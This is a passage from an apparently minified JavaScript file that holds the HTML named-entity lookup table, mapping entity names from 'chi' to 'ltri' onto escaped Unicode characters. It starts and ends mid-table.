"\\u03a7\",\"chi;\":\"\\u03c7\",\"circ;\":\"\\u02c6\",\"circeq;\":\"\\u2257\",\"circlearrowleft;\":\"\\u21ba\",\"circlearrowright;\":\"\\u21bb\",\"circledast;\":\"\\u229b\",\"circledcirc;\":\"\\u229a\",\"circleddash;\":\"\\u229d\",\"CircleDot;\":\"\\u2299\",\"circledR;\":\"\\u00ae\",\"circledS;\":\"\\u24c8\",\"CircleMinus;\":\"\\u2296\",\"CirclePlus;\":\"\\u2295\",\"CircleTimes;\":\"\\u2297\",\"cir;\":\"\\u25cb\",\"cirE;\":\"\\u29c3\",\"cire;\":\"\\u2257\",\"cirfnint;\":\"\\u2a10\",\"cirmid;\":\"\\u2aef\",\"cirscir;\":\"\\u29c2\",\"ClockwiseContourIntegral;\":\"\\u2232\",\"CloseCurlyDoubleQuote;\":\"\\u201d\",\"CloseCurlyQuote;\":\"\\u2019\",\"clubs;\":\"\\u2663\",\"clubsuit;\":\"\\u2663\",\"colon;\":\":\",\"Colon;\":\"\\u2237\",\"Colone;\":\"\\u2a74\",\"colone;\":\"\\u2254\",\"coloneq;\":\"\\u2254\",\"comma;\":\",\",\"commat;\":\"@\",\"comp;\":\"\\u2201\",\"compfn;\":\"\\u2218\",\"complement;\":\"\\u2201\",\"complexes;\":\"\\u2102\",\"cong;\":\"\\u2245\",\"congdot;\":\"\\u2a6d\",\"Congruent;\":\"\\u2261\",\"conint;\":\"\\u222e\",\"Conint;\":\"\\u222f\",\"ContourIntegral;\":\"\\u222e\",\"copf;\":\"\\ud835\\udd54\",\"Copf;\":\"\\u2102\",\"coprod;\":\"\\u2210\",\"Coproduct;\":\"\\u2210\",\"copy;\":\"\\u00a9\",copy:\"\\u00a9\",\"COPY;\":\"\\u00a9\",COPY:\"\\u00a9\",\"copysr;\":\"\\u2117\",\"CounterClockwiseContourIntegral;\":\"\\u2233\",\"crarr;\":\"\\u21b5\",\"cross;\":\"\\u2717\",\"Cross;\":\"\\u2a2f\",\"Cscr;\":\"\\ud835\\udc9e\",\"cscr;\":\"\\ud835\\udcb8\",\"csub;\":\"\\u2acf\",\"csube;\":\"\\u2ad1\",\"csup;\":\"\\u2ad0\",\"csupe;\":\"\\u2ad2\",\"ctdot;\":\"\\u22ef\",\"cudarrl;\":\"\\u2938\",\"cudarrr;\":\"\\u2935\",\"cuepr;\":\"\\u22de\",\"cuesc;\":\"\\u22df\",\"cularr;\":\"\\u21b6\",\"cularrp;\":\"\\u293d\",\"cupbrcap;\":\"\\u2a48\",\"cupcap;\":\"\\u2a46\",\"CupCap;\":\"\\u224d\",\"cup;\":\"\\u222a\",\"Cup;\":\"\\u22d3\",\"cupcup;\":\"\\u2a4a\",\"cupdot;\":\"\\u228d\",\"cupor;\":\"\\u2a45\",\"cups;\":\"\\u222a\\ufe00\",\"curarr;\":\"\\u21b7\",\"curarrm;\":\"\\u293c\",\"curlyeqprec;\":\"\\u22de\",\"curlyeqsucc;\":\"\\u22df\",\"curlyvee;\":\"\\u22ce\",\"curlywedge;\":\"\\u22cf\",\"curren;\":\"\\u00a4\",curren:\"\\u00a4\",\"curvearrowleft;\":\"\\u21b6\",\"curvearrowright;\":\"\\u21b7\",\"cuvee;\":\"\\u22ce\",\"cuwed;\":\"\\u22cf\",\"cwconint;\":\"\\u2232\",\"cwint;\":\"\\u2231\",\"cylcty;\":\"\\u232d\",\"dagger;\":\"\\u2020\",\"Dagger;\":\"\\u2021\",\"daleth;\":\"\\u2138\",\"darr;\":\"\\u2193\",\"Darr;\":\"\\u21a1\",\"dArr;\":\"\\u21d3\",\"dash;\":\"\\u2010\",\"Dashv;\":\"\\u2ae4\",\"dashv;\":\"\\u22a3\",\"dbkarow;\":\"\\u290f\",\"dblac;\":\"\\u02dd\",\"Dcaron;\":\"\\u010e\",\"dcaron;\":\"\\u010f\",\"Dcy;\":\"\\u0414\",\"dcy;\":\"\\u0434\",\"ddagger;\":\"\\u2021\",\"ddarr;\":\"\\u21ca\",\"DD;\":\"\\u2145\",\"dd;\":\"\\u2146\",\"DDotrahd;\":\"\\u2911\",\"ddotseq;\":\"\\u2a77\",\"deg;\":\"\\u00b0\",deg:\"\\u00b0\",\"Del;\":\"\\u2207\",\"Delta;\":\"\\u0394\",\"delta;\":\"\\u03b4\",\"demptyv;\":\"\\u29b1\",\"dfisht;\":\"\\u297f\",\"Dfr;\":\"\\ud835\\udd07\",\"dfr;\":\"\\ud835\\udd21\",\"dHar;\":\"\\u2965\",\"dharl;\":\"\\u21c3\",\"dharr;\":\"\\u21c2\",\"DiacriticalAcute;\":\"\\u00b4\",\"DiacriticalDot;\":\"\\u02d9\",\"DiacriticalDoubleAcute;\":\"\\u02dd\",\"DiacriticalGrave;\":\"`\",\"DiacriticalTilde;\":\"\\u02dc\",\"diam;\":\"\\u22c4\",\"diamond;\":\"\\u22c4\",\"Diamond;\":\"\\u22c4\",\"diamondsuit;\":\"\\u2666\",\"diams;\":\"\\u2666\",\"die;\":\"\\u00a8\",\"DifferentialD;\":\"\\u2146\",\"digamma;\":\"\\u03dd\",\"disin;\":\"\\u22f2\",\"div;\":\"\\u00f7\",\"divide;\":\"\\u00f7\",divide:\"\\u00f7\",\"divideontimes;\":\"\\u22c7\",\"divonx;\":\"\\u22c7\",\"DJcy;\":\"\\u0402\",\"djcy;\":\"\\u0452\",\"dlcorn;\":\"\\u231e\",\"dlcrop;\":\"\\u230d\",\"dollar;\":\"$\",\"Dopf;\":\"\\ud835\\udd3b\",\"dopf;\":\"\\ud835\\udd55\",\"Dot;\":\"\\u00a8\",\"dot;\":\"\\u02d9\",\"DotDot;\":\"\\u20dc\",\"doteq;\":\"\\u2250\",\"doteqdot;\":\"\\u2251\",\"DotEqual;\":\"\\u2250\",\"dotminus;\":\"\\u2238\",\"dotplus;\":\"\\u2214\",\"dotsquare;\":\"\\u22a1\",\"doublebarwedge;\":\"\\u2306\",\"DoubleContourIntegral;\":\"\\u222f\",\"DoubleDot;\":\"\\u00a8\",\"DoubleDownArrow;\":\"\\u21d3\",\"DoubleLeftArrow;\":\"\\u21d0\",\"DoubleLeftRightArrow;\":\"\\u21d4\",\"DoubleLeftTee;\":\"\\u2ae4\",\"DoubleLongLeftArrow;\":\"\\u27f8\",\"DoubleLongLeftRightArrow;\":\"\\u27fa\",\"DoubleLongRightArrow;\":\"\\u27f9\",\"DoubleRightArrow;\":\"\\u21d2\",\"DoubleRightTee;\":\"\\u22a8\",\"DoubleUpArrow;\":\"\\u21d1\",\"DoubleUpDownArrow;\":\"\\u21d5\",\"DoubleVerticalBar;\":\"\\u2225\",\"DownArrowBar;\":\"\\u2913\",\"downarrow;\":\"\\u2193\",\"DownArrow;\":\"\\u2193\",\"Downarrow;\":\"\\u21d3\",\"DownArrowUpArrow;\":\"\\u21f5\",\"DownBreve;\":\"\\u0311\",\"downdownarrows;\":\"\\u21ca\",\"downharpoonleft;\":\"\\u21c3\",\"downharpoonright;\":\"\\u21c2\",\"DownLeftRightVector;\":\"\\u2950\",\"DownLeftTeeVector;\":\"\\u295e\",\"DownLeftVectorBar;\":\"\\u2956\",\"DownLeftVector;\":\"\\u21bd\",\"DownRightTeeVector;\":\"\\u295f\",\"DownRightVectorBar;\":\"\\u2957\",\"DownRightVector;\":\"\\u21c1\",\"DownTeeArrow;\":\"\\u21a7\",\"DownTee;\":\"\\u22a4\",\"drbkarow;\":\"\\u2910\",\"drcorn;\":\"\\u231f\",\"drcrop;\":\"\\u230c\",\"Dscr;\":\"\\ud835\\udc9f\",\"dscr;\":\"\\ud835\\udcb9\",\"DScy;\":\"\\u0405\",\"dscy;\":\"\\u0455\",\"dsol;\":\"\\u29f6\",\"Dstrok;\":\"\\u0110\",\"dstrok;\":\"\\u0111\",\"dtdot;\":\"\\u22f1\",\"dtri;\":\"\\u25bf\",\"dtrif;\":\"\\u25be\",\"duarr;\":\"\\u21f5\",\"duhar;\":\"\\u296f\",\"dwangle;\":\"\\u29a6\",\"DZcy;\":\"\\u040f\",\"dzcy;\":\"\\u045f\",\"dzigrarr;\":\"\\u27ff\",\"Eacute;\":\"\\u00c9\",Eacute:\"\\u00c9\",\"eacute;\":\"\\u00e9\",eacute:\"\\u00e9\",\"easter;\":\"\\u2a6e\",\"Ecaron;\":\"\\u011a\",\"ecaron;\":\"\\u011b\",\"Ecirc;\":\"\\u00ca\",Ecirc:\"\\u00ca\",\"ecirc;\":\"\\u00ea\",ecirc:\"\\u00ea\",\"ecir;\":\"\\u2256\",\"ecolon;\":\"\\u2255\",\"Ecy;\":\"\\u042d\",\"ecy;\":\"\\u044d\",\"eDDot;\":\"\\u2a77\",\"Edot;\":\"\\u0116\",\"edot;\":\"\\u0117\",\"eDot;\":\"\\u2251\",\"ee;\":\"\\u2147\",\"efDot;\":\"\\u2252\",\"Efr;\":\"\\ud835\\udd08\",\"efr;\":\"\\ud835\\udd22\",\"eg;\":\"\\u2a9a\",\"Egrave;\":\"\\u00c8\",Egrave:\"\\u00c8\",\"egrave;\":\"\\u00e8\",egrave:\"\\u00e8\",\"egs;\":\"\\u2a96\",\"egsdot;\":\"\\u2a98\",\"el;\":\"\\u2a99\",\"Element;\":\"\\u2208\",\"elinters;\":\"\\u23e7\",\"ell;\":\"\\u2113\",\"els;\":\"\\u2a95\",\"elsdot;\":\"\\u2a97\",\"Emacr;\":\"\\u0112\",\"emacr;\":\"\\u0113\",\"empty;\":\"\\u2205\",\"emptyset;\":\"\\u2205\",\"EmptySmallSquare;\":\"\\u25fb\",\"emptyv;\":\"\\u2205\",\"EmptyVerySmallSquare;\":\"\\u25ab\",\"emsp13;\":\"\\u2004\",\"emsp14;\":\"\\u2005\",\"emsp;\":\"\\u2003\",\"ENG;\":\"\\u014a\",\"eng;\":\"\\u014b\",\"ensp;\":\"\\u2002\",\"Eogon;\":\"\\u0118\",\"eogon;\":\"\\u0119\",\"Eopf;\":\"\\ud835\\udd3c\",\"eopf;\":\"\\ud835\\udd56\",\"epar;\":\"\\u22d5\",\"eparsl;\":\"\\u29e3\",\"eplus;\":\"\\u2a71\",\"epsi;\":\"\\u03b5\",\"Epsilon;\":\"\\u0395\",\"epsilon;\":\"\\u03b5\",\"epsiv;\":\"\\u03f5\",\"eqcirc;\":\"\\u2256\",\"eqcolon;\":\"\\u2255\",\"eqsim;\":\"\\u2242\",\"eqslantgtr;\":\"\\u2a96\",\"eqslantless;\":\"\\u2a95\",\"Equal;\":\"\\u2a75\",\"equals;\":\"=\",\"EqualTilde;\":\"\\u2242\",\"equest;\":\"\\u225f\",\"Equilibrium;\":\"\\u21cc\",\"equiv;\":\"\\u2261\",\"equivDD;\":\"\\u2a78\",\"eqvparsl;\":\"\\u29e5\",\"erarr;\":\"\\u2971\",\"erDot;\":\"\\u2253\",\"escr;\":\"\\u212f\",\"Escr;\":\"\\u2130\",\"esdot;\":\"\\u2250\",\"Esim;\":\"\\u2a73\",\"esim;\":\"\\u2242\",\"Eta;\":\"\\u0397\",\"eta;\":\"\\u03b7\",\"ETH;\":\"\\u00d0\",ETH:\"\\u00d0\",\"eth;\":\"\\u00f0\",eth:\"\\u00f0\",\"Euml;\":\"\\u00cb\",Euml:\"\\u00cb\",\"euml;\":\"\\u00eb\",euml:\"\\u00eb\",\"euro;\":\"\\u20ac\",\"excl;\":\"!\",\"exist;\":\"\\u2203\",\"Exists;\":\"\\u2203\",\"expectation;\":\"\\u2130\",\"exponentiale;\":\"\\u2147\",\"ExponentialE;\":\"\\u2147\",\"fallingdotseq;\":\"\\u2252\",\"Fcy;\":\"\\u0424\",\"fcy;\":\"\\u0444\",\"female;\":\"\\u2640\",\"ffilig;\":\"\\ufb03\",\"fflig;\":\"\\ufb00\",\"ffllig;\":\"\\ufb04\",\"Ffr;\":\"\\ud835\\udd09\",\"ffr;\":\"\\ud835\\udd23\",\"filig;\":\"\\ufb01\",\"FilledSmallSquare;\":\"\\u25fc\",\"FilledVerySmallSquare;\":\"\\u25aa\",\"fjlig;\":\"fj\",\"flat;\":\"\\u266d\",\"fllig;\":\"\\ufb02\",\"fltns;\":\"\\u25b1\",\"fnof;\":\"\\u0192\",\"Fopf;\":\"\\ud835\\udd3d\",\"fopf;\":\"\\ud835\\udd57\",\"forall;\":\"\\u2200\",\"ForAll;\":\"\\u2200\",\"fork;\":\"\\u22d4\",\"forkv;\":\"\\u2ad9\",\"Fouriertrf;\":\"\\u2131\",\"fpartint;\":\"\\u2a0d\",\"frac12;\":\"\\u00bd\",frac12:\"\\u00bd\",\"frac13;\":\"\\u2153\",\"frac14;\":\"\\u00bc\",frac14:\"\\u00bc\",\"frac15;\":\"\\u2155\",\"frac16;\":\"\\u2159\",\"frac18;\":\"\\u215b\",\"frac23;\":\"\\u2154\",\"frac25;\":\"\\u2156\",\"frac34;\":\"\\u00be\",frac34:\"\\u00be\",\"frac35;\":\"\\u2157\",\"frac38;\":\"\\u215c\",\"frac45;\":\"\\u2158\",\"frac56;\":\"\\u215a\",\"frac58;\":\"\\u215d\",\"frac78;\":\"\\u215e\",\"frasl;\":\"\\u2044\",\"frown;\":\"\\u2322\",\"fscr;\":\"\\ud835\\udcbb\",\"Fscr;\":\"\\u2131\",\"gacute;\":\"\\u01f5\",\"Gamma;\":\"\\u0393\",\"gamma;\":\"\\u03b3\",\"Gammad;\":\"\\u03dc\",\"gammad;\":\"\\u03dd\",\"gap;\":\"\\u2a86\",\"Gbreve;\":\"\\u011e\",\"gbreve;\":\"\\u011f\",\"Gcedil;\":\"\\u0122\",\"Gcirc;\":\"\\u011c\",\"gcirc;\":\"\\u011d\",\"Gcy;\":\"\\u0413\",\"gcy;\":\"\\u0433\",\"Gdot;\":\"\\u0120\",\"gdot;\":\"\\u0121\",\"ge;\":\"\\u2265\",\"gE;\":\"\\u2267\",\"gEl;\":\"\\u2a8c\",\"gel;\":\"\\u22db\",\"geq;\":\"\\u2265\",\"geqq;\":\"\\u2267\",\"geqslant;\":\"\\u2a7e\",\"gescc;\":\"\\u2aa9\",\"ges;\":\"\\u2a7e\",\"gesdot;\":\"\\u2a80\",\"gesdoto;\":\"\\u2a82\",\"gesdotol;\":\"\\u2a84\",\"gesl;\":\"\\u22db\\ufe00\",\"gesles;\":\"\\u2a94\",\"Gfr;\":\"\\ud835\\udd0a\",\"gfr;\":\"\\ud835\\udd24\",\"gg;\":\"\\u226b\",\"Gg;\":\"\\u22d9\",\"ggg;\":\"\\u22d9\",\"gimel;\":\"\\u2137\",\"GJcy;\":\"\\u0403\",\"gjcy;\":\"\\u0453\",\"gla;\":\"\\u2aa5\",\"gl;\":\"\\u2277\",\"glE;\":\"\\u2a92\",\"glj;\":\"\\u2aa4\",\"gnap;\":\"\\u2a8a\",\"gnapprox;\":\"\\u2a8a\",\"gne;\":\"\\u2a88\",\"gnE;\":\"\\u2269\",\"gneq;\":\"\\u2a88\",\"gneqq;\":\"\\u2269\",\"gnsim;\":\"\\u22e7\",\"Gopf;\":\"\\ud835\\udd3e\",\"gopf;\":\"\\ud835\\udd58\",\"grave;\":\"`\",\"GreaterEqual;\":\"\\u2265\",\"GreaterEqualLess;\":\"\\u22db\",\"GreaterFullEqual;\":\"\\u2267\",\"GreaterGreater;\":\"\\u2aa2\",\"GreaterLess;\":\"\\u2277\",\"GreaterSlantEqual;\":\"\\u2a7e\",\"GreaterTilde;\":\"\\u2273\",\"Gscr;\":\"\\ud835\\udca2\",\"gscr;\":\"\\u210a\",\"gsim;\":\"\\u2273\",\"gsime;\":\"\\u2a8e\",\"gsiml;\":\"\\u2a90\",\"gtcc;\":\"\\u2aa7\",\"gtcir;\":\"\\u2a7a\",\"gt;\":\">\",gt:\">\",\"GT;\":\">\",GT:\">\",\"Gt;\":\"\\u226b\",\"gtdot;\":\"\\u22d7\",\"gtlPar;\":\"\\u2995\",\"gtquest;\":\"\\u2a7c\",\"gtrapprox;\":\"\\u2a86\",\"gtrarr;\":\"\\u2978\",\"gtrdot;\":\"\\u22d7\",\"gtreqless;\":\"\\u22db\",\"gtreqqless;\":\"\\u2a8c\",\"gtrless;\":\"\\u2277\",\"gtrsim;\":\"\\u2273\",\"gvertneqq;\":\"\\u2269\\ufe00\",\"gvnE;\":\"\\u2269\\ufe00\",\"Hacek;\":\"\\u02c7\",\"hairsp;\":\"\\u200a\",\"half;\":\"\\u00bd\",\"hamilt;\":\"\\u210b\",\"HARDcy;\":\"\\u042a\",\"hardcy;\":\"\\u044a\",\"harrcir;\":\"\\u2948\",\"harr;\":\"\\u2194\",\"hArr;\":\"\\u21d4\",\"harrw;\":\"\\u21ad\",\"Hat;\":\"^\",\"hbar;\":\"\\u210f\",\"Hcirc;\":\"\\u0124\",\"hcirc;\":\"\\u0125\",\"hearts;\":\"\\u2665\",\"heartsuit;\":\"\\u2665\",\"hellip;\":\"\\u2026\",\"hercon;\":\"\\u22b9\",\"hfr;\":\"\\ud835\\udd25\",\"Hfr;\":\"\\u210c\",\"HilbertSpace;\":\"\\u210b\",\"hksearow;\":\"\\u2925\",\"hkswarow;\":\"\\u2926\",\"hoarr;\":\"\\u21ff\",\"homtht;\":\"\\u223b\",\"hookleftarrow;\":\"\\u21a9\",\"hookrightarrow;\":\"\\u21aa\",\"hopf;\":\"\\ud835\\udd59\",\"Hopf;\":\"\\u210d\",\"horbar;\":\"\\u2015\",\"HorizontalLine;\":\"\\u2500\",\"hscr;\":\"\\ud835\\udcbd\",\"Hscr;\":\"\\u210b\",\"hslash;\":\"\\u210f\",\"Hstrok;\":\"\\u0126\",\"hstrok;\":\"\\u0127\",\"HumpDownHump;\":\"\\u224e\",\"HumpEqual;\":\"\\u224f\",\"hybull;\":\"\\u2043\",\"hyphen;\":\"\\u2010\",\"Iacute;\":\"\\u00cd\",Iacute:\"\\u00cd\",\"iacute;\":\"\\u00ed\",iacute:\"\\u00ed\",\"ic;\":\"\\u2063\",\"Icirc;\":\"\\u00ce\",Icirc:\"\\u00ce\",\"icirc;\":\"\\u00ee\",icirc:\"\\u00ee\",\"Icy;\":\"\\u0418\",\"icy;\":\"\\u0438\",\"Idot;\":\"\\u0130\",\"IEcy;\":\"\\u0415\",\"iecy;\":\"\\u0435\",\"iexcl;\":\"\\u00a1\",iexcl:\"\\u00a1\",\"iff;\":\"\\u21d4\",\"ifr;\":\"\\ud835\\udd26\",\"Ifr;\":\"\\u2111\",\"Igrave;\":\"\\u00cc\",Igrave:\"\\u00cc\",\"igrave;\":\"\\u00ec\",igrave:\"\\u00ec\",\"ii;\":\"\\u2148\",\"iiiint;\":\"\\u2a0c\",\"iiint;\":\"\\u222d\",\"iinfin;\":\"\\u29dc\",\"iiota;\":\"\\u2129\",\"IJlig;\":\"\\u0132\",\"ijlig;\":\"\\u0133\",\"Imacr;\":\"\\u012a\",\"imacr;\":\"\\u012b\",\"image;\":\"\\u2111\",\"ImaginaryI;\":\"\\u2148\",\"imagline;\":\"\\u2110\",\"imagpart;\":\"\\u2111\",\"imath;\":\"\\u0131\",\"Im;\":\"\\u2111\",\"imof;\":\"\\u22b7\",\"imped;\":\"\\u01b5\",\"Implies;\":\"\\u21d2\",\"incare;\":\"\\u2105\",\"in;\":\"\\u2208\",\"infin;\":\"\\u221e\",\"infintie;\":\"\\u29dd\",\"inodot;\":\"\\u0131\",\"intcal;\":\"\\u22ba\",\"int;\":\"\\u222b\",\"Int;\":\"\\u222c\",\"integers;\":\"\\u2124\",\"Integral;\":\"\\u222b\",\"intercal;\":\"\\u22ba\",\"Intersection;\":\"\\u22c2\",\"intlarhk;\":\"\\u2a17\",\"intprod;\":\"\\u2a3c\",\"InvisibleComma;\":\"\\u2063\",\"InvisibleTimes;\":\"\\u2062\",\"IOcy;\":\"\\u0401\",\"iocy;\":\"\\u0451\",\"Iogon;\":\"\\u012e\",\"iogon;\":\"\\u012f\",\"Iopf;\":\"\\ud835\\udd40\",\"iopf;\":\"\\ud835\\udd5a\",\"Iota;\":\"\\u0399\",\"iota;\":\"\\u03b9\",\"iprod;\":\"\\u2a3c\",\"iquest;\":\"\\u00bf\",iquest:\"\\u00bf\",\"iscr;\":\"\\ud835\\udcbe\",\"Iscr;\":\"\\u2110\",\"isin;\":\"\\u2208\",\"isindot;\":\"\\u22f5\",\"isinE;\":\"\\u22f9\",\"isins;\":\"\\u22f4\",\"isinsv;\":\"\\u22f3\",\"isinv;\":\"\\u2208\",\"it;\":\"\\u2062\",\"Itilde;\":\"\\u0128\",\"itilde;\":\"\\u0129\",\"Iukcy;\":\"\\u0406\",\"iukcy;\":\"\\u0456\",\"Iuml;\":\"\\u00cf\",Iuml:\"\\u00cf\",\"iuml;\":\"\\u00ef\",iuml:\"\\u00ef\",\"Jcirc;\":\"\\u0134\",\"jcirc;\":\"\\u0135\",\"Jcy;\":\"\\u0419\",\"jcy;\":\"\\u0439\",\"Jfr;\":\"\\ud835\\udd0d\",\"jfr;\":\"\\ud835\\udd27\",\"jmath;\":\"\\u0237\",\"Jopf;\":\"\\ud835\\udd41\",\"jopf;\":\"\\ud835\\udd5b\",\"Jscr;\":\"\\ud835\\udca5\",\"jscr;\":\"\\ud835\\udcbf\",\"Jsercy;\":\"\\u0408\",\"jsercy;\":\"\\u0458\",\"Jukcy;\":\"\\u0404\",\"jukcy;\":\"\\u0454\",\"Kappa;\":\"\\u039a\",\"kappa;\":\"\\u03ba\",\"kappav;\":\"\\u03f0\",\"Kcedil;\":\"\\u0136\",\"kcedil;\":\"\\u0137\",\"Kcy;\":\"\\u041a\",\"kcy;\":\"\\u043a\",\"Kfr;\":\"\\ud835\\udd0e\",\"kfr;\":\"\\ud835\\udd28\",\"kgreen;\":\"\\u0138\",\"KHcy;\":\"\\u0425\",\"khcy;\":\"\\u0445\",\"KJcy;\":\"\\u040c\",\"kjcy;\":\"\\u045c\",\"Kopf;\":\"\\ud835\\udd42\",\"kopf;\":\"\\ud835\\udd5c\",\"Kscr;\":\"\\ud835\\udca6\",\"kscr;\":\"\\ud835\\udcc0\",\"lAarr;\":\"\\u21da\",\"Lacute;\":\"\\u0139\",\"lacute;\":\"\\u013a\",\"laemptyv;\":\"\\u29b4\",\"lagran;\":\"\\u2112\",\"Lambda;\":\"\\u039b\",\"lambda;\":\"\\u03bb\",\"lang;\":\"\\u27e8\",\"Lang;\":\"\\u27ea\",\"langd;\":\"\\u2991\",\"langle;\":\"\\u27e8\",\"lap;\":\"\\u2a85\",\"Laplacetrf;\":\"\\u2112\",\"laquo;\":\"\\u00ab\",laquo:\"\\u00ab\",\"larrb;\":\"\\u21e4\",\"larrbfs;\":\"\\u291f\",\"larr;\":\"\\u2190\",\"Larr;\":\"\\u219e\",\"lArr;\":\"\\u21d0\",\"larrfs;\":\"\\u291d\",\"larrhk;\":\"\\u21a9\",\"larrlp;\":\"\\u21ab\",\"larrpl;\":\"\\u2939\",\"larrsim;\":\"\\u2973\",\"larrtl;\":\"\\u21a2\",\"latail;\":\"\\u2919\",\"lAtail;\":\"\\u291b\",\"lat;\":\"\\u2aab\",\"late;\":\"\\u2aad\",\"lates;\":\"\\u2aad\\ufe00\",\"lbarr;\":\"\\u290c\",\"lBarr;\":\"\\u290e\",\"lbbrk;\":\"\\u2772\",\"lbrace;\":\"{\",\"lbrack;\":\"[\",\"lbrke;\":\"\\u298b\",\"lbrksld;\":\"\\u298f\",\"lbrkslu;\":\"\\u298d\",\"Lcaron;\":\"\\u013d\",\"lcaron;\":\"\\u013e\",\"Lcedil;\":\"\\u013b\",\"lcedil;\":\"\\u013c\",\"lceil;\":\"\\u2308\",\"lcub;\":\"{\",\"Lcy;\":\"\\u041b\",\"lcy;\":\"\\u043b\",\"ldca;\":\"\\u2936\",\"ldquo;\":\"\\u201c\",\"ldquor;\":\"\\u201e\",\"ldrdhar;\":\"\\u2967\",\"ldrushar;\":\"\\u294b\",\"ldsh;\":\"\\u21b2\",\"le;\":\"\\u2264\",\"lE;\":\"\\u2266\",\"LeftAngleBracket;\":\"\\u27e8\",\"LeftArrowBar;\":\"\\u21e4\",\"leftarrow;\":\"\\u2190\",\"LeftArrow;\":\"\\u2190\",\"Leftarrow;\":\"\\u21d0\",\"LeftArrowRightArrow;\":\"\\u21c6\",\"leftarrowtail;\":\"\\u21a2\",\"LeftCeiling;\":\"\\u2308\",\"LeftDoubleBracket;\":\"\\u27e6\",\"LeftDownTeeVector;\":\"\\u2961\",\"LeftDownVectorBar;\":\"\\u2959\",\"LeftDownVector;\":\"\\u21c3\",\"LeftFloor;\":\"\\u230a\",\"leftharpoondown;\":\"\\u21bd\",\"leftharpoonup;\":\"\\u21bc\",\"leftleftarrows;\":\"\\u21c7\",\"leftrightarrow;\":\"\\u2194\",\"LeftRightArrow;\":\"\\u2194\",\"Leftrightarrow;\":\"\\u21d4\",\"leftrightarrows;\":\"\\u21c6\",\"leftrightharpoons;\":\"\\u21cb\",\"leftrightsquigarrow;\":\"\\u21ad\",\"LeftRightVector;\":\"\\u294e\",\"LeftTeeArrow;\":\"\\u21a4\",\"LeftTee;\":\"\\u22a3\",\"LeftTeeVector;\":\"\\u295a\",\"leftthreetimes;\":\"\\u22cb\",\"LeftTriangleBar;\":\"\\u29cf\",\"LeftTriangle;\":\"\\u22b2\",\"LeftTriangleEqual;\":\"\\u22b4\",\"LeftUpDownVector;\":\"\\u2951\",\"LeftUpTeeVector;\":\"\\u2960\",\"LeftUpVectorBar;\":\"\\u2958\",\"LeftUpVector;\":\"\\u21bf\",\"LeftVectorBar;\":\"\\u2952\",\"LeftVector;\":\"\\u21bc\",\"lEg;\":\"\\u2a8b\",\"leg;\":\"\\u22da\",\"leq;\":\"\\u2264\",\"leqq;\":\"\\u2266\",\"leqslant;\":\"\\u2a7d\",\"lescc;\":\"\\u2aa8\",\"les;\":\"\\u2a7d\",\"lesdot;\":\"\\u2a7f\",\"lesdoto;\":\"\\u2a81\",\"lesdotor;\":\"\\u2a83\",\"lesg;\":\"\\u22da\\ufe00\",\"lesges;\":\"\\u2a93\",\"lessapprox;\":\"\\u2a85\",\"lessdot;\":\"\\u22d6\",\"lesseqgtr;\":\"\\u22da\",\"lesseqqgtr;\":\"\\u2a8b\",\"LessEqualGreater;\":\"\\u22da\",\"LessFullEqual;\":\"\\u2266\",\"LessGreater;\":\"\\u2276\",\"lessgtr;\":\"\\u2276\",\"LessLess;\":\"\\u2aa1\",\"lesssim;\":\"\\u2272\",\"LessSlantEqual;\":\"\\u2a7d\",\"LessTilde;\":\"\\u2272\",\"lfisht;\":\"\\u297c\",\"lfloor;\":\"\\u230a\",\"Lfr;\":\"\\ud835\\udd0f\",\"lfr;\":\"\\ud835\\udd29\",\"lg;\":\"\\u2276\",\"lgE;\":\"\\u2a91\",\"lHar;\":\"\\u2962\",\"lhard;\":\"\\u21bd\",\"lharu;\":\"\\u21bc\",\"lharul;\":\"\\u296a\",\"lhblk;\":\"\\u2584\",\"LJcy;\":\"\\u0409\",\"ljcy;\":\"\\u0459\",\"llarr;\":\"\\u21c7\",\"ll;\":\"\\u226a\",\"Ll;\":\"\\u22d8\",\"llcorner;\":\"\\u231e\",\"Lleftarrow;\":\"\\u21da\",\"llhard;\":\"\\u296b\",\"lltri;\":\"\\u25fa\",\"Lmidot;\":\"\\u013f\",\"lmidot;\":\"\\u0140\",\"lmoustache;\":\"\\u23b0\",\"lmoust;\":\"\\u23b0\",\"lnap;\":\"\\u2a89\",\"lnapprox;\":\"\\u2a89\",\"lne;\":\"\\u2a87\",\"lnE;\":\"\\u2268\",\"lneq;\":\"\\u2a87\",\"lneqq;\":\"\\u2268\",\"lnsim;\":\"\\u22e6\",\"loang;\":\"\\u27ec\",\"loarr;\":\"\\u21fd\",\"lobrk;\":\"\\u27e6\",\"longleftarrow;\":\"\\u27f5\",\"LongLeftArrow;\":\"\\u27f5\",\"Longleftarrow;\":\"\\u27f8\",\"longleftrightarrow;\":\"\\u27f7\",\"LongLeftRightArrow;\":\"\\u27f7\",\"Longleftrightarrow;\":\"\\u27fa\",\"longmapsto;\":\"\\u27fc\",\"longrightarrow;\":\"\\u27f6\",\"LongRightArrow;\":\"\\u27f6\",\"Longrightarrow;\":\"\\u27f9\",\"looparrowleft;\":\"\\u21ab\",\"looparrowright;\":\"\\u21ac\",\"lopar;\":\"\\u2985\",\"Lopf;\":\"\\ud835\\udd43\",\"lopf;\":\"\\ud835\\udd5d\",\"loplus;\":\"\\u2a2d\",\"lotimes;\":\"\\u2a34\",\"lowast;\":\"\\u2217\",\"lowbar;\":\"_\",\"LowerLeftArrow;\":\"\\u2199\",\"LowerRightArrow;\":\"\\u2198\",\"loz;\":\"\\u25ca\",\"lozenge;\":\"\\u25ca\",\"lozf;\":\"\\u29eb\",\"lpar;\":\"(\",\"lparlt;\":\"\\u2993\",\"lrarr;\":\"\\u21c6\",\"lrcorner;\":\"\\u231f\",\"lrhar;\":\"\\u21cb\",\"lrhard;\":\"\\u296d\",\"lrm;\":\"\\u200e\",\"lrtri;\":\"\\u22bf\",\"lsaquo;\":\"\\u2039\",\"lscr;\":\"\\ud835\\udcc1\",\"Lscr;\":\"\\u2112\",\"lsh;\":\"\\u21b0\",\"Lsh;\":\"\\u21b0\",\"lsim;\":\"\\u2272\",\"lsime;\":\"\\u2a8d\",\"lsimg;\":\"\\u2a8f\",\"lsqb;\":\"[\",\"lsquo;\":\"\\u2018\",\"lsquor;\":\"\\u201a\",\"Lstrok;\":\"\\u0141\",\"lstrok;\":\"\\u0142\",\"ltcc;\":\"\\u2aa6\",\"ltcir;\":\"\\u2a79\",\"lt;\":\"<\",lt:\"<\",\"LT;\":\"<\",LT:\"<\",\"Lt;\":\"\\u226a\",\"ltdot;\":\"\\u22d6\",\"lthree;\":\"\\u22cb\",\"ltimes;\":\"\\u22c9\",\"ltlarr;\":\"\\u2976\",\"ltquest;\":\"\\u2a7b\",\"ltri;\